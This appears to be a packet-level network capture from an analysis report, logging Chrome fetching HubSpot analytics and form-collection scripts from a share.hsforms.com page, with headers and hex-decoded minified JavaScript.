2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 63 65 5b 6d 5d 2e 6e 6f 64 65 54 79 70 65 3f 6c 2e 71 54 61 72 67 65 74 5b 6d 5d 3d 6c 2e 71 53 6f 75 72 63 65 5b 6d 5d 3a 6c 2e 71 53 6f 75 72 63 65 5b 6d 5d 21 3d 3d 6c 2e 71 54 61 72 67 65 74 5b 6d 5d 26 26 69 2e 70 75 73 68 28 7b 71 53 6f 75 72 63 65 3a 6c 2e 71 53 6f 75 72 63 65 5b 6d 5d 2c 71 54 61 72 67 65 74 3a 6c 2e 71 54 61 72 67 65 74 5b 6d 5d 7d 29 29 7d 7d 65 6c 73 65 20 6e 5b 75 5d 3d 61 5b 75 5d 7d 65 6c 73 65 20 73 5b 74 5d 3d 61 3b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 68 75 62 73 70 6f 74 26 26 68 75 62 73 70 6f 74 2e 75 70 64 61 74 65 44 65 70 65 6e 64 65 6e 63 69 65 73 26 26 68 75 62 73 70 6f 74 2e 75 70 64 61 74 65 44 65 70 65 6e 64 65 6e 63 69 65 73 28 65 29 3b 72 65 74 75 72 6e 20 73 5b 74 5d 7d 3b 68 6e 73 28 Data Ascii: ce[m].nodeType?l.qTarget[m]=l.qSource[m]:l.qSource[m]!==l.qTarget[m]&&i.push({qSource:l.qSource[m],qTarget:l.qTarget[m]}))}}else n[u]=a[u]}else s[t]=a;"undefined"!=typeof hubspot&&hubspot.updateDependencies&&hubspot.updateDependencies(e);return s[t]};hns(
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 61 79 3d 3d 21 31 26 26 28 74 3d 5b 74 5d 29 3b 72 65 74 75 72 6e 20 74 7d 3b 65 2e 6c 6f 63 61 6c 65 73 2e 64 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 74 2c 6e 3d 5b 5d 2c 69 3d 5b 5d 3b 61 26 26 6e 2e 70 75 73 68 28 61 29 3b 21 61 26 26 65 2e 6c 6f 63 61 6c 65 26 26 6e 2e 70 75 73 68 28 65 2e 6c 6f 63 61 6c 65 29 3b 65 2e 66 61 6c 6c 62 61 63 6b 73 26 26 65 2e 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 26 26 6e 2e 70 75 73 68 28 65 2e 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 29 3b 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 3d 61 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3b 7e 69 2e 69 6e 64 65 78 4f 66 28 61 29 7c 7c 69 2e 70 75 73 68 28 61 29 3b 65 2e 66 61 6c 6c 62 61 63 6b 73 26 26 74 26 26 74 21 3d Data Ascii: ay==!1&&(t=[t]);return t};e.locales.default=function(a){var t,n=[],i=[];a&&n.push(a);!a&&e.locale&&n.push(e.locale);e.fallbacks&&e.defaultLocale&&n.push(e.defaultLocale);n.forEach((function(a){t=a.split("-")[0];~i.indexOf(a)\|\|i.push(a);e.fallbacks&&t&&t!=
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 66 28 6e 75 6c 6c 3d 3d 6e 29 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 69 73 73 69 6e 67 54 72 61 6e 73 6c 61 74 69 6f 6e 28 61 2c 74 29 3b 69 66 28 6e 75 6c 6c 3d 3d 6e 29 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 69 73 73 69 6e 67 54 72 61 6e 73 6c 61 74 69 6f 6e 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 6e 3d 74 68 69 73 2e 69 6e 74 65 72 70 6f 6c 61 74 65 28 6e 2c 74 29 3b 65 6c 73 65 20 69 66 28 66 28 6e 29 26 26 74 68 69 73 2e 69 73 53 65 74 28 74 2e 63 6f 75 6e 74 29 26 26 76 6f 69 64 20 30 3d 3d 3d 28 6e 3d 74 68 69 73 2e 70 6c 75 72 61 6c 69 7a 65 28 74 2e 63 6f 75 6e 74 2c 6e 2c 74 29 29 26 26 74 2e 6c 6f 63 61 6c 65 21 3d 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 29 72 65 74 75 72 6e 20 65 2e 74 72 Data Ascii: f(null==n)return this.missingTranslation(a,t);if(null==n)return this.missingTranslation(a);if("string"==typeof n)n=this.interpolate(n,t);else if(f(n)&&this.isSet(t.count)&&void 0===(n=this.pluralize(t.count,n,t))&&t.locale!==this.defaultLocale)return e.tr
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 28 65 3d 65 2e 72 65 70 6c 61 63 65 28 75 2e 73 69 6e 67 6c 65 51 75 6f 74 52 65 5f 2c 22 26 23 78 32 37 3b 22 29 29 3b 72 65 74 75 72 6e 20 65 7d 3b 65 2e 6d 69 73 73 69 6e 67 56 61 6c 75 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 61 29 7b 76 61 72 20 74 3d 22 5b 6d 69 73 73 69 6e 67 20 22 2b 61 2b 22 20 76 61 6c 75 65 20 66 72 6f 6d 20 22 2b 65 2b 22 5d 22 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 49 31 38 6e 3a 20 4d 69 73 73 69 6e 67 20 74 65 6d 70 6c 61 74 65 20 70 6c 61 63 65 68 6f 6c 64 65 72 20 76 61 6c 75 65 20 28 22 2b 74 68 69 73 2e 63 75 72 72 65 6e 74 4c 6f 63 61 6c 65 28 29 2b 22 29 3a 20 22 2b 61 2b 22 20 76 61 6c 75 65 20 66 72 6f 6d 20 22 2b 65 29 3b 72 65 74 75 72 6e 20 74 7d 3b 65 2e 70 6c 75 72 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e Data Ascii: (e=e.replace(u.singleQuotRe_,"'"));return e};e.missingValue=function(e,a){var t="[missing "+a+" value from "+e+"]";console.warn("I18n: Missing template placeholder value ("+this.currentLocale()+"): "+a+" value from "+e);return t};e.pluralize=function
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 7d 29 2c 74 68 69 73 2e 6c 6f 6f 6b 75 70 28 22 6e 75 6d 62 65 72 2e 66 6f 72 6d 61 74 22 2c 7b 6c 6f 63 61 6c 65 3a 6e 7d 29 2c 6f 29 3b 69 66 28 69 2e 61 62 62 72 65 76 69 61 74 65 29 7b 76 61 72 20 6c 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 69 2e 61 62 62 72 65 76 69 61 74 65 3f 69 2e 61 62 62 72 65 76 69 61 74 65 3a 22 73 68 6f 72 74 22 2c 73 3d 65 2e 70 72 65 70 61 72 65 4f 70 74 69 6f 6e 73 28 7b 74 79 70 65 3a 6c 2c 70 72 65 63 69 73 69 6f 6e 3a 76 6f 69 64 20 30 21 3d 3d 74 2e 70 72 65 63 69 73 69 6f 6e 3f 74 2e 70 72 65 63 69 73 69 6f 6e 3a 30 7d 2c 69 29 3b 61 3d 74 68 69 73 2e 61 62 62 72 65 76 69 61 74 65 4e 75 6d 62 65 72 28 61 2c 73 29 7d 65 6c 73 65 20 61 3d 74 68 69 73 2e 74 6f 4e 75 6d 62 65 72 28 61 2c 69 29 3b 69 2e 63 75 Data Ascii: }),this.lookup("number.format",{locale:n}),o);if(i.abbreviate){var l="string"==typeof i.abbreviate?i.abbreviate:"short",s=e.prepareOptions({type:l,precision:void 0!==t.precision?t.precision:0},i);a=this.abbreviateNumber(a,s)}else a=this.toNumber(a,i);i.cu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49856	104.16.160.168	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:34 UTC	555	OUT	GET /analytics/1736506800000/48528028.js HTTP/1.1 Host: js.hs-analytics.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:34 UTC	1321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:34 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close x-amz-id-2: yXiWpYl3Gbc15iWHFAle3BRRE9oEB+yOG5Un2FBVoxV07fiOxVahLI5fbp21pCq57roJExPp8QSIyweIyNWCzKLSb4cFAh2p x-amz-request-id: VE5TS8DAJJJF3QC3 last-modified: Mon, 06 Jan 2025 09:21:15 GMT etag: W/"918f7525f5245c3cda402240432f2734" x-amz-server-side-encryption: AES256 Cache-Control: max-age=300,public x-amz-version-id: null access-control-allow-credentials: false vary: origin expires: Fri, 10 Jan 2025 11:09:34 GMT x-envoy-upstream-service-time: 47 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 980c794c-7588-425b-a079-25f1ff220aae x-evy-trace-served-by-pod: iad02/analytics-js-proxy-td/envoy-proxy-8586d94f84-ng79d x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 980c794c-7588-425b-a079-25f1ff220aae CF-Cache-Status: MISS Set-Cookie: __cf_bm=xACzv.R_TZr.d4J2thntbr6rCYlRhEI3uFTDpABXOuk-1736507074-1.0.1.1-hhrIBaN5Coil_5_jqu0WNmusK7zTI9Cd1cJnK9ZFbGK0TtQyCCMcQ267pPhsgpaiMvp2WX2nmSFR3I_GO_KQ4A; path=/; expires=Fri, 10-Jan-25 11:34:34 GMT; domain=.hs-analytics.net; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8ffc2fe0c85f0f6f-EWR
2025-01-10 11:04:34 UTC	48	IN	Data Raw: 37 61 37 37 0d 0a 2f 2a 2a 20 0a 20 2a 20 48 75 62 53 70 6f 74 20 41 6e 61 6c 79 74 69 63 73 20 54 72 61 63 6b 69 6e 67 20 43 6f 64 65 20 42 75 Data Ascii: 7a77/** * HubSpot Analytics Tracking Code Bu
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 69 6c 64 20 4e 75 6d 62 65 72 20 31 2e 31 31 39 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 35 20 48 75 62 53 70 6f 74 2c 20 49 6e 63 2e 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 0a 20 2a 2f 0a 76 61 72 20 5f 68 73 71 20 3d 20 5f 68 73 71 20 7c 7c 20 5b 5d 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 73 65 74 50 6f 72 74 61 6c 49 64 27 2c 20 34 38 35 32 38 30 32 38 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 74 72 61 63 6b 50 61 67 65 56 69 65 77 27 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 73 65 74 4c 65 67 61 63 79 27 2c 20 66 61 6c 73 65 5d 29 3b 0a 5f 68 73 71 2e 70 75 73 68 28 5b 27 61 64 64 48 61 73 68 65 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 32 32 34 38 39 34 39 38 31 27 5d 29 3b 0a 5f 68 Data Ascii: ild Number 1.1194 * Copyright 2025 HubSpot, Inc. http://www.hubspot.com */var _hsq = _hsq \|\| [];_hsq.push(['setPortalId', 48528028]);_hsq.push(['trackPageView']);_hsq.push(['setLegacy', false]);_hsq.push(['addHashedCookieDomain', '224894981']);_h
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 7c 7c 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 2c 65 3d 6e 65 77 20 55 69 6e 74 31 36 41 72 72 61 79 28 38 29 3b 74 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 65 29 3b 76 61 72 20 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3b 65 2e 6c 65 6e 67 74 68 3c 34 3b 29 65 3d 22 30 22 2b 65 3b 72 65 74 75 72 6e 20 65 7d 3b 72 65 74 75 72 6e 20 69 28 65 5b 30 5d 29 2b 69 28 65 5b 31 5d 29 2b 69 28 65 5b 32 5d 29 2b 69 28 65 5b 33 5d 29 2b 69 28 65 5b 34 5d 29 2b 69 28 65 5b 35 5d 29 2b 69 28 65 5b 36 5d 29 2b 69 28 65 5b 37 5d 29 7d 7d 3b 4d 61 74 68 2e 75 75 69 64 3d 4d 61 74 68 2e 75 75 69 64 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 68 73 74 63 Data Ascii: window.crypto\|\|window.msCrypto,e=new Uint16Array(8);t.getRandomValues(e);var i=function(t){for(var e=t.toString(16);e.length<4;)e="0"+e;return e};return i(e[0])+i(e[1])+i(e[2])+i(e[3])+i(e[4])+i(e[5])+i(e[6])+i(e[7])}};Math.uuid=Math.uuid\|\|function(){hstc
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 6f 73 74 6e 61 6d 65 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 64 6f 63 2e 64 6f 6d 61 69 6e 7d 7d 3b 68 73 74 63 2e 67 6c 6f 62 61 6c 2e 43 6f 6e 74 65 78 74 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 50 61 74 68 4e 61 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 6f 63 2e 70 61 74 68 6e 61 6d 65 7d 3b 68 73 74 63 2e 67 6c 6f 62 61 6c 2e 43 6f 6e 74 65 78 74 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 54 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 6f 70 7d 3b 68 73 74 63 2e 67 6c 6f 62 61 6c 2e 43 6f 6e 74 65 78 74 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 50 61 72 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 72 65 6e 74 Data Ascii: ostname}catch(t){return this.doc.domain}};hstc.global.Context.prototype.getPathName=function(){return this.loc.pathname};hstc.global.Context.prototype.getTop=function(){return this.top};hstc.global.Context.prototype.getParent=function(){return this.parent
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 29 3b 69 3d 3d 65 2e 67 65 74 4d 6f 6e 74 68 28 29 3b 29 7b 30 3b 65 2e 73 65 74 44 61 74 65 28 65 2e 67 65 74 44 61 74 65 28 29 2b 31 29 7d 72 65 74 75 72 6e 20 68 73 74 63 2e 75 74 69 6c 73 2e 63 6c 65 61 72 54 69 6d 65 50 61 72 74 28 65 29 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 63 6c 65 61 72 54 69 6d 65 50 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 73 65 74 48 6f 75 72 73 28 30 29 3b 74 2e 73 65 74 4d 69 6e 75 74 65 73 28 30 29 3b 74 2e 73 65 74 53 65 63 6f 6e 64 73 28 30 29 3b 74 2e 73 65 74 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 28 30 29 3b 72 65 74 75 72 6e 20 74 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 74 72 75 6e 63 61 74 65 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 3f 74 2e 6c 65 6e 67 74 68 3e Data Ascii: );i==e.getMonth();){0;e.setDate(e.getDate()+1)}return hstc.utils.clearTimePart(e)};hstc.utils.clearTimePart=function(t){t.setHours(0);t.setMinutes(0);t.setSeconds(0);t.setMilliseconds(0);return t};hstc.utils.truncateString=function(t,e){return t?t.length>
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 73 2e 65 78 74 65 6e 64 28 72 2c 6f 7c 7c 28 6e 75 6c 6c 21 3d 3d 63 2e 6c 65 6e 67 74 68 3f 5b 5d 3a 7b 7d 29 2c 63 29 3a 76 6f 69 64 20 30 21 3d 3d 63 26 26 28 65 5b 73 5d 3d 63 29 29 7d 72 65 74 75 72 6e 20 65 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 65 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 72 29 7b 66 6f 72 28 69 20 69 6e 20 74 29 69 66 28 21 31 3d 3d 3d 65 2e 63 61 6c 6c 28 74 5b 69 5d 2c 69 2c 74 5b 69 5d 29 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 76 61 72 20 73 3d 74 5b 30 5d 3b 6e 3c 72 26 26 21 31 21 3d 3d 65 2e 63 61 6c 6c 28 73 2c 6e 2c 73 29 3b 73 3d 74 5b 2b 2b 6e 5d 29 3b 72 65 74 75 72 6e 20 74 7d 3b 68 73 74 63 2e 75 74 Data Ascii: s.extend(r,o\|\|(null!==c.length?[]:{}),c):void 0!==c&&(e[s]=c))}return e};hstc.utils.each=function(t,e){var i,n=0,r=t.length;if(void 0===r){for(i in t)if(!1===e.call(t[i],i,t[i]))break}else for(var s=t[0];n<r&&!1!==e.call(s,n,s);s=t[++n]);return t};hstc.ut
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 69 6e 28 22 20 22 29 3b 69 66 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 75 6e 63 74 69 6f 6e 29 74 72 79 7b 69 3d 65 3f 64 65 63 6f 64 65 55 52 49 28 74 29 3a 6e 28 74 29 7d 63 61 74 63 68 28 65 29 7b 69 3d 75 6e 65 73 63 61 70 65 28 74 29 7d 65 6c 73 65 20 69 3d 75 6e 65 73 63 61 70 65 28 74 29 3b 72 65 74 75 72 6e 20 69 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 69 73 46 75 6e 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 46 75 6e 63 74 69 6f 6e 5d 22 3d 3d 3d 68 73 74 63 2e 75 74 69 6c 73 2e 74 6f 73 74 72 2e 63 61 6c 6c 28 74 29 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 75 74 63 6e 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d Data Ascii: in(" ");if(n instanceof Function)try{i=e?decodeURI(t):n(t)}catch(e){i=unescape(t)}else i=unescape(t);return i};hstc.utils.isFunction=function(t){return"[object Function]"===hstc.utils.tostr.call(t)};hstc.utils.utcnow=function(){return(new Date).getTime()}
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 69 73 4e 61 4e 28 73 29 3f 2b 73 3a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 73 3f 76 6f 69 64 20 30 3a 76 6f 69 64 20 30 21 3d 3d 6e 5b 73 5d 3f 6e 5b 73 5d 3a 73 29 3b 69 66 28 6c 29 66 6f 72 28 3b 68 3c 3d 6c 3b 68 2b 2b 29 7b 63 3d 22 22 3d 3d 3d 75 5b 68 5d 3f 61 2e 6c 65 6e 67 74 68 3a 75 5b 68 5d 3b 61 3d 61 5b 63 3d 73 61 6e 69 74 69 7a 65 4b 65 79 28 63 29 5d 3d 68 3c 6c 3f 61 5b 63 5d 7c 7c 28 75 5b 68 2b 31 5d 26 26 69 73 4e 61 4e 28 75 5b 68 2b 31 5d 29 3f 7b 7d 3a 5b 5d 29 3a 73 7d 65 6c 73 65 7b 63 3d 73 61 6e 69 74 69 7a 65 4b 65 79 28 63 29 3b 68 73 74 63 2e 75 74 69 6c 73 2e 69 73 41 72 72 61 79 28 69 5b 63 5d 29 3f 69 5b 63 5d 2e 70 75 73 68 28 73 29 3a 76 6f 69 64 20 30 21 3d 3d 69 5b 63 5d 3f 69 5b 63 5d 3d 5b 69 5b 63 5d 2c 73 5d 3a Data Ascii: isNaN(s)?+s:"undefined"===s?void 0:void 0!==n[s]?n[s]:s);if(l)for(;h<=l;h++){c=""===u[h]?a.length:u[h];a=a[c=sanitizeKey(c)]=h<l?a[c]\|\|(u[h+1]&&isNaN(u[h+1])?{}:[]):s}else{c=sanitizeKey(c);hstc.utils.isArray(i[c])?i[c].push(s):void 0!==i[c]?i[c]=[i[c],s]:
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 74 2e 63 6c 61 73 73 4e 61 6d 65 2e 73 70 6c 69 74 28 22 20 22 29 29 3e 2d 31 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 73 74 72 69 70 4e 75 6d 65 72 69 63 42 72 61 63 6b 65 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 7c 7c 22 22 29 2e 72 65 70 6c 61 63 65 28 2f 28 5e 2e 2b 3f 29 5c 5b 28 2e 2b 3f 29 5c 5d 2f 2c 22 24 31 5f 24 32 22 29 7d 3b 68 73 74 63 2e 75 74 69 6c 73 2e 70 61 72 73 65 43 75 72 72 65 6e 63 79 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 29 72 65 74 75 72 6e 20 74 3b 76 61 72 20 69 3d 74 2e 6d 61 74 63 68 28 2f 28 5b 5e 5c 64 5d 2a 29 28 5b 5c 64 5c 2e 2c 5d 2b 29 28 5b 5e 5c 64 5c 2e 2c 5d 2a 29 2f 29 3b 69 66 28 69 29 7b 76 61 72 20 6e 2c 72 3d 69 5b Data Ascii: t.className.split(" "))>-1};hstc.utils.stripNumericBrackets=function(t){return(t\|\|"").replace(/(^.+?)\[(.+?)\]/,"$1_$2")};hstc.utils.parseCurrency=function(t,e){if("number"==typeof t)return t;var i=t.match(/([^\d])([\d\.,]+)([^\d\.,])/);if(i){var n,r=i[
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 29 3b 69 66 28 6e 21 3d 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 29 72 65 74 75 72 6e 21 31 3b 73 77 69 74 63 68 28 6e 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 53 74 72 69 6e 67 5d 22 3a 72 65 74 75 72 6e 20 74 3d 3d 53 74 72 69 6e 67 28 65 29 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 4e 75 6d 62 65 72 5d 22 3a 72 65 74 75 72 6e 20 74 21 3d 2b 74 3f 65 21 3d 2b 65 3a 30 3d 3d 74 3f 31 2f 74 3d 3d 31 2f 65 3a 74 3d 3d 2b 65 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 44 61 74 65 5d 22 3a 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 42 6f 6f 6c 65 61 6e 5d 22 3a 72 65 74 75 72 6e 2b 74 3d 3d 2b 65 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 52 65 67 45 78 70 5d 22 3a 72 65 74 75 72 6e 20 74 2e 73 6f 75 72 63 65 3d 3d 65 2e 73 6f 75 72 Data Ascii: .call(t);if(n!=toString.call(e))return!1;switch(n){case"[object String]":return t==String(e);case"[object Number]":return t!=+t?e!=+e:0==t?1/t==1/e:t==+e;case"[object Date]":case"[object Boolean]":return+t==+e;case"[object RegExp]":return t.source==e.sour

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49857	104.16.107.254	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:34 UTC	573	OUT	GET /collectedforms.js HTTP/1.1 Host: js.hscollectedforms.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://share.hsforms.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:34 UTC	1327	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-origin: * access-control-allow-methods: GET access-control-max-age: 3000 x-amz-replication-status: COMPLETED last-modified: Tue, 07 Jan 2025 09:36:44 UTC x-amz-server-side-encryption: AES256 x-amz-version-id: uvrInopjoN5gevNwHh934Ck4iPjUIIdV etag: W/"cce97ce600e1081dce3e5e7b5bc08d18" vary: Origin,Access-Control-Request-Headers,Access-Control-Request-Method,accept-encoding x-cache: Hit from cloudfront via: 1.1 36b04143ac1626bb30bb225fb2cccb1e.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: GuCE0VH1YA9l69bK7aSVuPECgRa-2kmzpfXtU24bARJipUkw0VVoEA== content-security-policy-report-only: frame-ancestors 'self'; report-uri https://send.hsbrowserreports.com/csp/report?resource=collected-forms-embed-js/static-1.1283/bundles/project.js&cfRay=8fe30b381f0cd6ad-IAD Cache-Control: s-maxage=600, max-age=300 x-hs-target-asset: collected-forms-embed-js/static-1.1283/bundles/project.js x-content-type-options: nosniff x-hs-cache-status: MISS x-envoy-upstream-service-time: 8 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: ffcb9713-7e6a-42df-8817-7ae241384777
2025-01-10 11:04:34 UTC	651	IN	Data Raw: 78 2d 65 76 79 2d 74 72 61 63 65 2d 73 65 72 76 65 64 2d 62 79 2d 70 6f 64 3a 20 69 61 64 30 32 2f 61 70 70 2d 74 64 2f 65 6e 76 6f 79 2d 70 72 6f 78 79 2d 38 35 36 64 38 37 38 37 64 35 2d 66 70 70 6c 66 0d 0a 78 2d 65 76 79 2d 74 72 61 63 65 2d 6c 69 73 74 65 6e 65 72 3a 20 6c 69 73 74 65 6e 65 72 5f 68 74 74 70 73 0d 0a 78 2d 65 76 79 2d 74 72 61 63 65 2d 72 6f 75 74 65 2d 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3a 20 6c 69 73 74 65 6e 65 72 5f 68 74 74 70 73 2f 61 6c 6c 0d 0a 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 66 66 63 62 39 37 31 33 2d 37 65 36 61 2d 34 32 64 66 2d 38 38 31 37 2d 37 61 65 32 34 31 33 38 34 37 37 37 0d 0a 63 61 63 68 65 2d 74 61 67 3a 20 73 74 61 74 69 63 6a 73 61 70 70 2d 63 6f 6c 6c 65 63 74 65 64 2d 66 6f 72 6d 73 2d 65 6d 62 Data Ascii: x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-fpplfx-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-request-id: ffcb9713-7e6a-42df-8817-7ae241384777cache-tag: staticjsapp-collected-forms-emb
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 70 72 6f 6a 65 63 74 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 65 29 2e 73 6c 69 63 65 28 38 2c 2d 31 29 7d 2c 72 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 41 72 72 61 79 22 3d 3d 65 28 74 29 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 3f 6e 75 6c 6c 21 3d 3d 74 Data Ascii: 7ffa/! For license information please see project.js.LICENSE.txt /!function(){"use strict";var t={}.toString,e=function(e){return t.call(e).slice(8,-1)},r=Array.isArray\|\|function(t){return"Array"==e(t)},n=function(t){return"object"==typeof t?null!==t
